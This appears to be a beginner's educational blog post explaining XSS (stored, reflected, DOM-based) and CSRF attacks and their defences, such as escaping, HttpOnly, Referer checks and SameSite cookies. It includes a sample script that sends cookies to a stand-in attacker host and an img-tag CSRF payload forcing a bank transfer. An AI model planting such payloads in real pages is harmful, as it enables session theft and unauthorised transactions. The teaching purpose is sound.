XSS and CSRF - two common attack methods in the field of web security

foreword

This article is yet to be updated to add more relevant knowledge.

The author is still a novice, if you find any mistakes, remember to point them out in time! !

---

In the field of web security, XSS and CSRF are the most common attack methods.

XSS (Cross Site Scripting)

XSS(Cross Site Scripting) is a cross-site scripting attack . Cross-site scripting attack is a security vulnerability,
malicious attackers can use this vulnerability to insert some malicious content (Script code) in Web pages. When the user browses the page, the Script code embedded in the web page will be executed, so as to achieve the purpose of maliciously attacking the user.

Malicious content generally includes JavaScript, but sometimes includes HTML, FLASHor other browser-executable code. Forms of XSS attacks vary widely, but they generally all: send cookies or other private information to the attacker , impersonate the victim, redirect the victim to a webpage controlled by the attacker, or on the victim's machine via a malicious website perform other malicious actions.

XSS attacks can be divided into three categories: storage (persistent), reflection (non-persistent), and DOM .

Stored XSS

Injected scripts are permanently stored on the target server. When the browser requests data, the script is uploaded back from the server and executed.

For example, I am now building a blog website, and then the attacker publishes an article on it, the content is as follows: <script>window.open("www.gongji.com?param="+document.cookie)</script>If I do not do any processing on the article, it will be directly stored in the database, then the next time other users access the At the time of the article, the server will read from the database and then respond to the client, then the browser will execute this script, and then the attacker will obtain the user's cookie, and then send the cookie to the attacker's server. .

The attack steps of stored XSS are as follows:

• The attacker submits malicious code to the target website database.
• When the user opens the target website, the website server takes out the malicious code from the database, and then splices it into html and returns it to the browser.
• After the user's browser parses and executes the response after receiving the response, the malicious code in it will also be executed.
• Then after the malicious code is executed, it can obtain user data, such as the above cookie and other information, then send the cookie to the attacker's website, then the attacker will get the cookie and then pretend to be the user's behavior and call the target website interface and other illegal operations.
  

This kind of attack is common in website functions with user-saved data , such as forum posting, product reviews, user private messages, etc. The front end can perform some processing, such as replacing special characters such as script tags with HTML escapes.

Reflected XSS

When a user clicks a malicious link, submits a form, or enters a malicious website, the injected script enters the victim's website. The web server will inject scripts, such as an error message, search results, etc. back to the user's browser. This script is executed because the browser thinks the response is from a "trusted" server.

For example, the attacker sends a malicious link containing the injected script to the victim through email, etc. When the victim clicks the link, the injected script is transmitted to the target server, and then the server "reflects" the injected script to the victim , so the browser executes the script.

The attack steps of reflected XSS are as follows:

1. The attacker adds malicious attack code to the parameters behind the url.
2. When a user opens a URL with malicious code, the website server takes the malicious code out of the URL, splices it into html, and returns it to the browser.
3. After receiving the response, the user's browser performs parsing, and the malicious code in it will also be executed.
4. Attackers use malicious code to steal user data and send it to the attacker's website. The attacker will obtain information such as cookies, and then use the information to pretend to be a legitimate user, and call the target website interface to perform attacks and other operations.
   
   Reflected XSS vulnerabilities are commonly found in functions that pass parameters through URLs, such as website searches, redirects, and so on. Since users need to actively open malicious URLs to take effect, attackers often combine various means to induce users to click.

DOM-based XSS

By modifying the original client-side code, the DOM environment of the victim's browser is changed, resulting in the execution of the payload. That is, the page itself has not changed, but because the DOM environment has been maliciously modified, some client-side code has been included into the page and executed unexpectedly.

DOM-type XSS attack steps:

1. Attackers construct special URLs that contain malicious code.
2. User opens URL with malicious code.
3. After receiving the response, the user's browser parses and executes it, and the front-end JavaScript takes out the malicious code in the URL and executes it.
4. Malicious code steals user data and sends it to the attacker's website, or impersonates the user's behavior and calls the target website interface to perform the operation specified by the attacker.
   

The difference between DOM-based XSS and the first two types of XSS: In DOM-based XSS attacks, the extraction and execution of malicious code is done by the browser, which is a security vulnerability of the front-end JavaScript itself, while the other two types of XSS are server-side security vulnerabilities.

defensive measures

• The front-end and back-end are separated (the front-end is responsible for rendering, and the back-end is responsible for data).
• Escape HTML.

It is set when the cookie is set on the server side HttpOnly, so as to prevent the user from obtaining the cookie through Document.cookie. This precaution helps mitigate cross-site scripting (XSS) attacks.

CSRF (Cross Site Request Forgery)

跨站请求伪造(Cross-site request forgery), also known as one-click attack or session riding, often abbreviated as CSRF or XSRF, is an attack method that hijacks a user to perform unintended actions on a currently logged-in web application. Compared with XSS, XSS uses the user's trust in the specified website, and CSRF uses the website's trust in the user's web browser.

Cross-site request attack, simply put, is that the attacker uses some technical means to trick the user's browser to visit a website that he has authenticated and run some operations (such as sending emails, sending messages, and even property operations such as transferring money and buying goods) ). Since the browser has been authenticated, the visited website will be considered as a real user operation and run. This exploits a vulnerability in user authentication in the web: simple authentication can only guarantee that the request is sent from a user's browser, but not that the request itself was made voluntarily by the user.

Suppose a bank uses the following URL to run a transfer operation:
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
Then, a malicious attacker can place the following code on another website:
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
If a user named Alice visits the malicious site, and she has just visited the bank shortly before , the login information has not expired, then she will lose 1000 funds.

An attacker cannot directly gain control of a user's account through CSRF attacks, nor can he directly steal any information from a user. What they can do is trick the user's browser into running an action on the user's behalf .

The attack flow is as follows:

• The victim logs into a.com and keeps the login credentials (cookies).
• The attacker lured the victim to visit b.com.
• b.com sends a request to a.com: a.com/act=xx. Your browser will carry a.com cookies by default.
• After receiving the request, a.com verifies the request and confirms that it is the victim's credentials, mistaking it for the request sent by the victim himself.
• a.com executed act=xx on behalf of the victim.
• After the attack is completed, the attacker impersonates the victim without the victim's knowledge, and makes a.com perform its own defined operation.

defensive measures

Check the Referer field

There is a Referer field in the HTTP header, which is used to indicate which address the request originated from. When processing sensitive data requests, generally speaking, the Referer field should be located under the same domain name as the requested address. Take the above bank operation as an example, the Referer field address should usually be the web page address where the transfer button is located, and it should also be located www.examplebank.combelow. If it is a request from a CSRF attack, the Referer field will contain the address of the malicious URL and will not be located www.examplebank.combelow it. At this time, the server can identify malicious access.

This method is simple and easy to implement, with low workload, and only needs to add one step of verification at the critical access point. However, this method also has its limitations, and it is possible for attackers to attack some browsers and tamper with their Referer fields.

The SameSite attribute is set to Strict or Lax.

Cookies used for sensitive information (authentication) should have a short lifetime and the SameSite attribute set to Strict or Lax. In browsers that support SameSite, the effect of this is to ensure that no authentication cookies are sent with cross-origin requests, so such requests are not actually authenticated to the application server.

• StrictThe most restrictive, third-party cookies are completely prohibited, and cookies are not sent under any circumstances when cross-site. In other words, only the URL of the current web page is consistent with the request target, the cookie will be brought . (The browser will only send cookies when visiting the same site.)
• LaxSimilar to Strict, except for Get requests that navigate to the destination URL. A GET request for navigating to a destination URL includes only three cases: a link, a preload request, and a GET form. (Defaults)

After setting Strict or Lax, CSRF attacks are basically eliminated. Of course, the premise is that the user's browser supports the SameSite attribute.

---

More details to be added! !